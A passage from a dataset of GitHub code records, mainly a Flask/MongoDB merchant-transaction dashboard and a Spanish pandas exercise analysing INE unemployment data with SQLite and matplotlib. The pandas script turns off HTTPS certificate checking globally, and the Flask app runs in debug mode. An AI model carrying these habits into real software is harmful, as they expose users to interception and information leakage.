"matrix.gameState", "line_number": 33, "usage_type": "attribute"}, {"api_name": "matrix.neihbors_color", "line_number": 35, "usage_type": "call"}, {"api_name": "matrix.gameState", "line_number": 43, "usage_type": "attribute"}, {"api_name": "matrix.poly", "line_number": 48, "usage_type": "call"}, {"api_name": "pygame.draw.polygon", "line_number": 49, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 49, "usage_type": "attribute"}, {"api_name": "matrix.gameState", "line_number": 50, "usage_type": "attribute"}, {"api_name": "matrix.gameColor", "line_number": 51, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 52, "usage_type": "call"}, {"api_name": "pygame.display.flip", "line_number": 53, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 53, "usage_type": "attribute"}]}
{"seq_id": "31677361413", "text": "from flask import Flask, render_template, url_for, request, redirect, jsonify\nfrom flask_pymongo import PyMongo\nfrom datetime import datetime, timedelta\nfrom uuid import UUID\nfrom werkzeug.wrappers import Response\nfrom io import StringIO\nimport csv\n\napp = Flask(__name__)\napp.config[\"MONGO_URI\"] = \"mongodb://localhost:27017/NewRelicData\"\nmongo = PyMongo(app)\n\ndef getBasicStartEndDates(argStart, argEnd):\n    today = datetime.utcnow()\n    startDate = datetime(today.year, 1, 1)\n    endDate = datetime(today.year, today.month + 1, 1)\n\n    if argStart != None and argEnd != None:\n        startDate = datetime.strptime(argStart, \"%Y-%m-%d\")\n        endDate = datetime.strptime(argEnd, \"%Y-%m-%d\") + timedelta(days=1)\n    \n    return (startDate, endDate)\n\ndef getMinMaxDates():\n    today = datetime.utcnow()\n    minDate = (today - timedelta(days = 180)).strftime(\"%Y-%m-%d\")\n    return (minDate, today.strftime(\"%Y-%m-%d\"))\n\ndef mapMerchantMongoCursorToDict(merchantmongoData):\n    merchantData = {}\n    for doc in merchantmongoData:\n        if \"merchantId\" in doc:\n            if \"siteUrl\" in doc:\n                merchantData[str(doc[\"merchantId\"])] = [doc[\"siteUrl\"], False]\n            if \"isActive\" in doc:\n                merchantData[str(doc[\"merchantId\"])][1] = doc[\"isActive\"]\n    return merchantData\n\n@app.route(\"/\", methods = ['GET'])\ndef index():\n    monthStart, monthEnd = getBasicStartEndDates(request.args.get(\"start\"), request.args.get(\"end\"))\n    mongoData = mongo.db.TransactionData.find({\"createdDate\":{\"$gte\":monthStart, \"$lt\": monthEnd}})\n    merchantmongoData = mongo.db.MerchantData.find()\n\n    templateView = {}\n    templateView[\"labels\"] = []\n    templateView[\"tranCx\"] = []\n    templateView[\"pageCx\"] = []\n    merchantData = mapMerchantMongoCursorToDict(merchantmongoData)\n\n    monthlyData = {}\n    for doc in mongoData:\n        if \"transactions\" in doc:\n            pagesum = 0\n            transum = 0\n            for merchantId in doc[\"transactions\"]:\n                transum += doc[\"transactions\"][merchantId][0]\n                pagesum += doc[\"transactions\"][merchantId][1]\n                if merchantId not in monthlyData:\n                    monthlyData[merchantId] = doc[\"transactions\"][merchantId]\n                    if merchantId in merchantData:\n                        monthlyData[merchantId].append(merchantData[merchantId][0])\n                        monthlyData[merchantId].append(merchantData[merchantId][1])\n                else:\n                    monthlyData[merchantId][0] += doc[\"transactions\"][merchantId][0]\n                    monthlyData[merchantId][1] += doc[\"transactions\"][merchantId][1]\n            if \"createdDate\" in doc:\n                #print(doc[\"createdDate\"])\n                templateView[\"labels\"].append(doc[\"createdDate\"].strftime(\"%d %b %y\"))\n                templateView[\"tranCx\"].append(transum)\n                templateView[\"pageCx\"].append(pagesum)\n                \n    templateView[\"data\"] = monthlyData\n    templateView[\"startDate\"] = monthStart.strftime(\"%Y-%m-%d\")\n    templateView[\"endDate\"] = (monthEnd - timedelta(days=1)).strftime(\"%Y-%m-%d\")\n    templateView[\"minDate\"], templateView[\"maxDate\"] = getMinMaxDates()\n    \n    return render_template(\"index.html\", templateView = templateView)\n\n@app.route(\"/getinsights/<mid>\", methods = ['GET'])\ndef getBasicsInsights(mid):\n    returnDict = {}\n    template = None\n    try:\n        merchantmongoData = mongo.db.MerchantData.find_one({\"merchantId\": UUID(mid)})\n        starttime, endtime = getBasicStartEndDates(request.args.get(\"start\"), request.args.get(\"end\"))\n        mongoData = mongo.db.TransactionData.find({\"createdDate\":{\"$gte\":starttime, \"$lt\": endtime}})\n\n        if merchantmongoData != None:\n            returnDict[\"merchantId\"] = str(merchantmongoData[\"merchantId\"])\n            returnDict[\"siteUrl\"] = merchantmongoData[\"siteUrl\"].replace(\"https://www.\", \"\").capitalize()\n            returnDict[\"isActive\"] = merchantmongoData[\"isActive\"]\n            returnDict[\"updatedDate\"] = merchantmongoData[\"createdDate\"]\n            labels = []\n            pageView = []\n            transactions = []\n            for doc in mongoData:\n                if \"transactions\" in doc and \"createdDate\" in doc:\n                    if mid in doc[\"transactions\"]:\n                        labels.append(doc[\"createdDate\"].strftime(\"%d %b %y\"))\n                        transactions.append(doc[\"transactions\"][mid][0])\n                        pageView.append(doc[\"transactions\"][mid][1])\n            returnDict[\"labels\"] = labels\n            returnDict[\"pageViews\"] = pageView\n            returnDict[\"transactions\"] = transactions\n            returnDict[\"status\"] = \"200\"\n            template = render_template(\"quickview.html\", merchantData = returnDict)\n            returnDict[\"html\"] = template\n        else:\n            returnDict[\"status\"] = \"400\"\n    except Exception as ex:\n        print(ex)\n        returnDict[\"status\"] = \"400\"\n    return jsonify(returnDict)\n\ndef getPercentageChange(currVal, baseVal):\n    if baseVal == 0:\n        return (True, 100)\n    if currVal == 0:\n        return(False, 100)\n    changePer = round(((currVal - baseVal)*100/baseVal), 3)\n    if changePer < 0:\n        return (False, abs(changePer))\n    return (True, changePer)\n\n\n@app.route(\"/insights/<mid>\", methods = ['GET'])\ndef getComprehensiveInsights(mid):\n    returnDict = {}\n    template = None\n    try:\n        merchantmongoData = mongo.db.MerchantData.find_one({\"merchantId\": UUID(mid)})\n        endtime = datetime.utcnow()\n        #change to 7 after testing\n        starttime = endtime - timedelta(days=70)\n        argstart1 = request.args.get(\"start1\")\n        argend1 = request.args.get(\"end1\")\n        if argstart1 != None and argend1 != None:\n            print(argstart1, argend1)\n            starttime = datetime.strptime(argstart1, \"%Y-%m-%d\")\n            endtime = datetime.strptime(argend1, \"%Y-%m-%d\") + timedelta(days= 1)\n\n        mongoData1 = mongo.db.TransactionData.find({\"createdDate\":{\"$gte\":starttime, \"$lt\": endtime}})\n        \n        endtime2 = starttime - timedelta(days=1)\n        starttime2 = endtime2 - timedelta(days=31)\n        argstart2 = request.args.get(\"start2\")\n        argend2 = request.args.get(\"end2\")\n        if argstart2 != None and argend2 != None:\n            print(argstart2, argend2)\n            starttime2 = datetime.strptime(argstart2, \"%Y-%m-%d\")\n            endtime2 = datetime.strptime(argend2, \"%Y-%m-%d\") + timedelta(days= 1)\n            \n        mongoData2 = mongo.db.TransactionData.find({\"createdDate\":{\"$gte\":starttime2, \"$lt\": endtime2}})\n        \n        if merchantmongoData != None:\n            returnDict[\"merchantId\"] = str(merchantmongoData[\"merchantId\"])\n            returnDict[\"siteUrl\"] = merchantmongoData[\"siteUrl\"].replace(\"https://www.\", \"\").capitalize()\n            returnDict[\"isActive\"] = merchantmongoData[\"isActive\"]\n            returnDict[\"updatedDate\"] = merchantmongoData[\"createdDate\"]\n            labels = []\n            pageView = []\n            transactions = []\n            sumtran1 = 0\n            sumpage1 = 0\n            for doc in mongoData1:\n                if \"transactions\" in doc and \"createdDate\" in doc:\n                    if mid in doc[\"transactions\"]:\n                        labels.append(doc[\"createdDate\"].strftime(\"%d %b %y\"))\n                        transactions.append(doc[\"transactions\"][mid][0])\n                        pageView.append(doc[\"transactions\"][mid][1])\n                        sumtran1 += doc[\"transactions\"][mid][0]\n                        sumpage1 += doc[\"transactions\"][mid][1]\n\n            returnDict[\"labels\"] = labels\n            returnDict[\"pageViews1\"] = pageView\n            returnDict[\"transactions1\"] = transactions\n            returnDict[\"sumTran1\"] = sumtran1\n            returnDict[\"sumPage1\"] = sumpage1\n\n            pageView1 = []\n            transactions1 = []\n            sumtran2 = 0\n            sumpage2 = 0\n            for doc in mongoData2:\n                if \"transactions\" in doc and \"createdDate\" in doc:\n                    if mid in doc[\"transactions\"]:\n                        #labels.append(doc[\"createdDate\"].strftime(\"%d %b %y\"))\n                        transactions1.append(doc[\"transactions\"][mid][0])\n                        pageView1.append(doc[\"transactions\"][mid][1])\n                        sumtran2 += doc[\"transactions\"][mid][0]\n                        sumpage2 += doc[\"transactions\"][mid][1]\n            returnDict[\"pageViews2\"] = pageView1\n            returnDict[\"transactions2\"] = transactions1\n            returnDict[\"sumTran2\"] = sumtran2\n            returnDict[\"sumPage2\"] = sumpage2\n            returnDict[\"isPosTran\"], returnDict[\"chnTran\"] = getPercentageChange(sumtran1, sumtran2)\n            returnDict[\"isPosPage\"], returnDict[\"chnPage\"] = getPercentageChange(sumpage1, sumpage2)\n            returnDict[\"avgPage\"] = (sumpage1 + sumpage2)/((endtime - starttime).days + (endtime2 - starttime2).days)\n\n            returnDict[\"minDate\"] = (datetime.utcnow() - timedelta(days = 180)).strftime(\"%Y-%m-%d\")\n            returnDict[\"maxDate\"] = (datetime.utcnow() + timedelta(days = 1)).strftime(\"%Y-%m-%d\")\n            returnDict[\"s1\"] = starttime.strftime(\"%Y-%m-%d\")\n            returnDict[\"e1\"] = endtime.strftime(\"%Y-%m-%d\")\n            returnDict[\"s2\"] = starttime2.strftime(\"%Y-%m-%d\")\n            returnDict[\"e2\"] = endtime2.strftime(\"%Y-%m-%d\")\n\n            returnDict[\"status\"] = \"200\"\n            template = render_template(\"insights.html\", merchantData = returnDict)\n            returnDict[\"html\"] = template\n        else:\n            returnDict[\"status\"] = \"400\"\n    except Exception as ex:\n        print(ex)\n        returnDict[\"status\"] = \"400\"\n    return template\n\n\n@app.route(\"/download\", methods = ['GET'])\ndef downloadReport():\n    monthlyData = {}\n    csvData = []\n    fields = (\"MerchantId\", \"TransactionCount\", \"PageViewCount\")\n    argstart = request.args.get(\"start\")\n    argend = request.args.get(\"end\")\n    filename = \"report.csv\"\n    if argstart != None and argend != None:\n        monthStart = datetime.strptime(argstart, \"%Y-%m-%d\")\n        monthEnd = datetime.strptime(argend, \"%Y-%m-%d\") + timedelta(days=1)\n        filename = \"report_\" + argstart + \"_to_\" + argend + \".csv\"\n        mongoData = mongo.db.TransactionData.find({\"createdDate\":{\"$gte\":monthStart, \"$lt\": monthEnd}})\n        for doc in mongoData:\n            if \"transactions\" in doc:\n                for merchantId in doc[\"transactions\"]:\n                    if merchantId not in monthlyData:\n                        monthlyData[merchantId] = doc[\"transactions\"][merchantId]\n                    else:\n                        monthlyData[merchantId][0] += doc[\"transactions\"][merchantId][0]\n                        monthlyData[merchantId][1] += doc[\"transactions\"][merchantId][1]\n        for merchantId in monthlyData:\n            merchantData = [merchantId, monthlyData[merchantId][0], monthlyData[merchantId][1]]\n            csvData.append(merchantData)\n\n\n    def generate():\n        data = StringIO()\n        w = csv.writer(data)\n\n        w.writerow(fields)\n        yield data.getvalue()\n        data.seek(0)\n        data.truncate(0)\n        \n        w.writerows(csvData)\n        yield data.getvalue()\n        data.seek(0)\n        data.truncate(0)\n\n    # stream the response as the data is generated\n    response = Response(generate(), mimetype='text/csv')\n    # add a filename\n    response.headers.set(\"Content-Disposition\", \"attachment\", filename=filename)\n    return response\n\n        \n\n@app.template_filter()\ndef numberFormat(value):\n    return format(int(value), ',d')\n\n    \nif __name__ == \"__main__\":\n    app.run(debug=True)", "repo_name": "AdityaKP1212/PrettyPy", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 11681, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "flask.Flask", "line_number": 9, "usage_type": "call"}, {"api_name": "flask_pymongo.PyMongo", "line_number": 11, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 14, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 14, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 15, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 16, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 19, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 19, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 20, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 20, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 20, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 25, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 25, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 26, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 41, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 41, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 41, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 75, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 78, "usage_type": "call"}, {"api_name": "uuid.UUID", "line_number": 85, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 86, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 86, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 86, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 107, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 114, "usage_type": "call"}, {"api_name": "uuid.UUID", "line_number": 132, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 133, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 133, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 135, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 136, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 136, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 136, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 137, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 137, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 137, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 140, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 140, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 141, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 141, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 141, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 145, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 146, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 147, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 147, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 147, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 148, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 148, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 148, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 151, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 151, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 152, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 152, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 152, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 201, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 201, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 201, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 202, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 202, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 202, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 209, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 224, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 224, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 224, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 225, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 225, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 225, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 228, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 228, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 229, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 229, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 229, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 246, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 247, "usage_type": "call"}, {"api_name": "werkzeug.wrappers.Response", "line_number": 260, "usage_type": "call"}]}
{"seq_id": "29790076174", "text": "from builtins import int\n\nimport pandas as pd\nfrom urllib import request as rq\nimport requests\nimport numpy as np\nimport ssl\nimport xlrd\nfrom statistics import mode\n\nfrom functools import reduce\nssl._create_default_https_context = ssl._create_unverified_context\n\nurl = \"https://www.ine.es/jaxiT3/files/t/es/xls/32449.xls?nocab=1\"\n\nfilexls ='recursos/filexls.xlsx'\nrq.urlretrieve(url, filexls)\nfichero_excel = pd.ExcelFile('recursos/filexls.xlsx' )\ndataframe = fichero_excel.parse('tabla-32449', header=6)\n\n#print(dataframe.shape)\nfilas=dataframe.tail(805)\nfilas=filas.head(799)\n\nnulo=dataframe[\"2021\"][0]\n\nfilas=filas.replace({nulo:0})\n\narr=[]\ndef arr():\n    ind=filas.iloc[2,0:28]\n    ser=pd.Series(ind)\n    arr=np.array(ser)\n\n    lis=arr.tolist()\n    print(lis)\narr()\n\ndef tupl():\n    ind=filas.iloc[10,0:28]\n    ser=pd.Series(ind)\n    arr=np.array(ser)\n    tupla=tuple(arr)\n    print(tupla)\n\ntupl()\ndef dic():\n    ind=filas.iloc[80,0:28]\n    dic=ind.to_dict()\n    print(dic)\n\ndic()\ndef invertir():\n    dfi=filas.transpose()\n    print(dfi)\n\nwith open(\"lista.txt\" , \"wt\") as fich:\n    ind=filas.iloc[2,0:28]\n    ser=pd.Series(ind)\n    arr=np.array(ser)\n    for x in range(1,len(arr)):\n        print(arr[x])\n        fich.write(str(arr[x])+\" \")\n   \n\ninvertir()\n\n\ndef calcmod(año):\n    df=filas[año]\n    return mode(df)\n\ndef calcvar(año):\n    df=filas[año]\n    return np.var(df)\n    \ndef calcmed(año):\n    df=filas[año]\n    return np.mean(df)\n\nprint(\"Moda:\")\nprint(calcmod(\"2020\"))\nprint(\"Media:\")\nprint(calcmed(\"2020\"))\nprint(\"Varianza:\")\nprint(calcvar(\"2020\"))\n\n\ndef mapi():\n    filas[\"2025\"]=filas[\"2020\"].map(lambda x:300+x)\n    print(filas)\nmapi()\n\ndef filtro(age1):\n    filt=filas.filter(items=[age1])\n    print(filt)\n    \n    \nfiltro('2003')\n\nimport sqlite3\nconn = sqlite3.connect('dato1.db',timeout=10)\nc = conn.cursor()\nfilas.iloc[:,1:42].to_sql('dfSoloParo', conn, if_exists='replace')\n\n#Seleccionamos todos los valores que estén en la fila 6\nres=c.execute('SELECT * from \"dfSoloParo\" WHERE \"index\"=6')\n\nprint(res.fetchall())\n\n\n#Seleccionamos todos los valores de la columna 2020\nresu=c.execute('SELECT \"2020\" from \"dfSoloParo\"')\n\nprint(resu.fetchall())\n\n#Seleccionamos todos los valores de la columna 2020 cuyos valores sean menores a 1000\nresui=c.execute('SELECT \"2020\" from \"dfSoloParo\" WHERE \"2020\"<\"1000\"')\nprint(\"---------------------------------------------------------------------------------------\")\nprint(resui.fetchall())\n\nprint(\"---------------------------------------------------------------------------------------\")\n#Guardar datos consulta en un Dataframe\ndti=pd.DataFrame\ndef guar():\n    arry=[]\n    for row in c.execute('SELECT \"2020\" from \"dfSoloParo\" WHERE \"2020\"<\"1000\"'):\n        print(row)\n        arry.append(row)\n    print(\"---------------------------------------------------------------------------------------\")\n    dti=pd.DataFrame(arry)\n    print(dti)\n    dti.to_sql(name='2020_1000', con=conn, if_exists='replace')\nguar()\n\nneg=dataframe[\"2020\"][325]\n\nconn.close()\n\n\nclass Datos():\n    def __init__(self,a):\n        self.a=a\n    def __str__(self):\n        print(f\"Columna: {filas[self.a]}\")\n\n\n    def edit(self,fil):\n        dec=input(\"Que quieres hacer aumentar o disminuir los valores\\n\")\n        if(dec==\"aumentar\"):\n            aum=input(\"¿Cúanto?\\n\")\n            aum=int(aum)\n            print(filas[fil].map(lambda x:x+aum))\n\n        elif(dec==\"disminuir\"):\n            aum=input(\"¿Cúanto?\\n\")\n            aum = int(aum)\n            print(filas[fil].map(lambda x: x - aum))\n\n    def sumi(self,fil):\n        print(sum(filas[fil]))\n    def resta(self,fil):\n        def rest(x,y):\n            return x - y\n        fril=filas[fil]\n        y=pd.Series(fril)\n        z=np.array(y)\n        orden=sorted(z,reverse=True)\n        print(orden)\n        resul=reduce(rest,orden)\n        print(resul)\n    def __le__(self, other):\n        su=sum(filas[self.a])\n        print(f\"Sumatorio {self.a}={su}\")\n        print(f\"Sumatorio {other}={sum(filas[other])}\")\n        if(su<=sum(filas[other])):\n            print(f\"Los valores de la columna {self.a} es menor o igual que {other}\")\n        else:\n            print(f\"Los valores de la columna {other} es mayor o igual que {self.a}\")\n\n    def __lt__(self, other):\n        su=sum(filas[self.a])\n        print(f\"Sumatorio {self.a}={su}\")\n        print(f\"Sumatorio {other}={sum(filas[other])}\")\n        if(su<sum(filas[other])):\n            print(f\"Los valores de la columna {self.a} es menor que {other}\")\n        else:\n            print(f\"Los valores de la columna {other} es mayor que {self.a}\")\n    def __eq__(self, other):\n        su = sum(filas[self.a])\n        print(f\"Sumatorio {self.a}={su}\")\n        print(f\"Sumatorio {other}={sum(filas[other])}\")\n        if (su == sum(filas[other])):\n            print(f\"Los valores de la columna {other} son iguales que {self.a}\")\n        else:\n            print(f\"Los valores de la columna {other} no son iguales que {self.a}\")\n\n    def __ge__(self, other):\n        su=sum(filas[self.a])\n        print(f\"Sumatorio {self.a}={su}\")\n        print(f\"Sumatorio {other}={sum(filas[other])}\")\n        if(su<=sum(filas[other])):\n            print(f\"Los valores de la columna {self.a} es menor o igual que {other}\")\n        else:\n            print(f\"Los valores de la columna {other} es mayor o igual que {self.a}\")\n\n    def __gt__(self, other):\n        su=sum(filas[self.a])\n        print(f\"Sumatorio {self.a}={su}\")\n        print(f\"Sumatorio {other}={sum(filas[other])}\")\n        if(su<sum(filas[other])):\n            print(f\"Los valores de la columna {self.a} es menor que {other}\")\n        else:\n            print(f\"Los valores de la columna {other} es mayor que {self.a}\")\n\n    def __ne__(self, other):\n        su=sum(filas[self.a])\n        print(f\"Sumatorio {self.a}={su}\")\n        print(f\"Sumatorio {other}={sum(filas[other])}\")\n        if(su!=sum(filas[other])):\n            print(f\"Los valores de la columna {self.a} no son iguales que los de la columna {other}\")\n        else:\n            print(f\"Los valores de la columna {other} son iguales que los de la columna {self.a}\")\n\nprint(\"-----------------------------------------------------------------------------\")\n\ndato1=Datos('2003')\ndato1.__str__()\ndato1.edit(\"2020\")\ndato1.sumi('2003')\ndato1.resta('2003')\ndato1.__le__('2000')\ndato1.__eq__('2000')\ndato1.__ge__('2000')\ndato1.__lt__('2000')\ndato1.__gt__('2000')\ndato1.__ne__('2000')\n\ndato2=Datos('2001')\ndato2.__str__()\ndato2.edit(\"2001\")\ndato2.sumi('2001')\ndato2.resta('2001')\ndato2.__le__('2000')\ndato2.__eq__('2000')\ndato2.__ge__('2000')\ndato2.__gt__('2000')\ndato2.__ne__('2000')\n\n\n\ndato3=Datos('2002')\ndato3.__str__()\ndato3.edit(\"2002\")\ndato3.sumi('2002')\ndato3.resta('2002')\ndato3.__ge__('2000')\ndato3.__gt__('2000')\ndato3.__ne__('2000')\n\ndato4=Datos('2000')\ndato4.__str__()\ndato4.edit(\"2000\")\ndato4.sumi('2000')\ndato4.resta('2000')\ndato4.__ge__('2018')\ndato4.__gt__('2018')\ndato4.__ne__('2018')\n\n\ndato5=Datos('2025')\ndato5.__str__()\ndato5.edit(\"2025\")\ndato5.sumi('2025')\ndato5.resta('2025')\ndato5.__ge__('2000')\ndato5.__gt__('2000')\ndato5.__ne__('2000')\n\nfrom matplotlib import pyplot as plt\nprint(\"---------------------------------- Gráfico 1 columna --------------------------\")\n\n\ndef graf1():\n    d=[]\n    for i in filas[\"2003\"]:\n        d.append(i)\n    print(d)\n    fig, ax = plt.subplots()\n    ax.violinplot(d)\n    plt.show()\n\ngraf1()\nprint(\"---------------------------------- Gráfico 2 columnas --------------------------\")\n\ndef graf2():\n    d1=sum(filas[\"2003\"])\n    print(d1)\n    d2=sum(filas[\"2004\"])\n    print(d2)\n    fig, ax = plt.subplots()\n    ax.fill_between([0,1,2,3], [0,d1,300,d2])\n    plt.show()\n\ngraf2()\nprint(\"---------------------------------- Gráfico 3 columnas --------------------------\")\ndef graf3():\n    d1=sum(filas[\"2003\"])\n    print(d1)\n    d2=sum(filas[\"2004\"])\n    print(d2)\n    d3=sum(filas[\"2002\"])\n    print(d3)\n    fig, ax = plt.subplots()\n    ax.pie([d1, d2, d3])\n    plt.plot(d1,label=\"2003\")\n    plt.plot(d2, label=\"2004\")\n    plt.plot(d3, label=\"2002\")\n    plt.legend()\n    plt.show()\n\ngraf3()\n\nprint(\"---------------------------------- Todas las columnas--------------------------\")\n\ndef graf4():\n    d1 = sum(filas[\"1995\"])\n    d2 = sum(filas[\"1996\"])\n    d3 = sum(filas[\"1997\"])\n    d4 = sum(filas[\"1998\"])\n    d5 = sum(filas[\"1999\"])\n    d6 = sum(filas[\"2000\"])\n    d7 = sum(filas[\"2001\"])\n    d8 = sum(filas[\"2002\"])\n    d9 = sum(filas[\"2003\"])\n    d10 = sum(filas[\"2004\"])\n    d11 = sum(filas[\"2005\"])\n    d12 = sum(filas[\"2006\"])\n    d13 = sum(filas[\"2007\"])\n    d14 = sum(filas[\"2008\"])\n    d15 = sum(filas[\"2009\"])\n    d16 = sum(filas[\"2010\"])\n    d17 = sum(filas[\"2011\"])\n    d18 = sum(filas[\"2012\"])\n    d19 = sum(filas[\"2013\"])\n    d20 = sum(filas[\"2014\"])\n    d21 = sum(filas[\"2015\"])\n    d22 = sum(filas[\"2016\"])\n    d23 = sum(filas[\"2017\"])\n    d24 = sum(filas[\"2018\"])\n    d25 = sum(filas[\"2019\"])\n    d26 = sum(filas[\"2020\"])\n    d28 = sum(filas[\"2025\"])\n\n    fig, ax = plt.subplots()\n    x =[d1,d2,d3,d4,d5,d6,d7,d8,d9,d10,d11,d12,d13,d14,d15,d16,d17,d18,d19,d20,d21,d22,d23,d24,d25,d26,d28]\n    num_bins = 20\n    n, bins, patches = ax.hist(x, num_bins, orientation='horizontal', facecolor =\n    'violet')\n    plt.show()\ngraf4()", "repo_name": "JavierS08/Proyecto_python", "sub_path": "leerdatapy/untitled0.py", "file_name": "untitled0.py", "file_ext": "py", "file_size_in_byte": 9225, "program_lang": "python", "lang": "es", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "78", "api": [{"api_name": "ssl._create_default_https_context", "line_number": 12, "usage_type": "attribute"}, {"api_name": "ssl._create_unverified_context", "line_number": 12, "usage_type": "attribute"}, {"api_name": "urllib.request.urlretrieve", "line_number": 17, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 17, "usage_type": "name"}, {"api_name": "pandas.ExcelFile", "line_number": 18, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 33, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 42, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 60, "usage_type": "call"}, {"api_name": "statistics.mode", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.var", "line_number": 75, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 79, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 102, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 124, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 131, "usage_type": "call"}, {"api_name": "builtins.int", "line_number": 152, "usage_type": "call"}, {"api_name": "builtins.int", "line_number": 157, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 166, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 167, "usage_type": "call"}, {"api_name": "functools.reduce", "line_number": 170, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 289, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 289, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 291, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 291, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 301, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 301, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 303, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 303, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 314, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 314, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 316, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 316, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 317, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 317, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 318, "usage_type": "call"}, {"api_name": 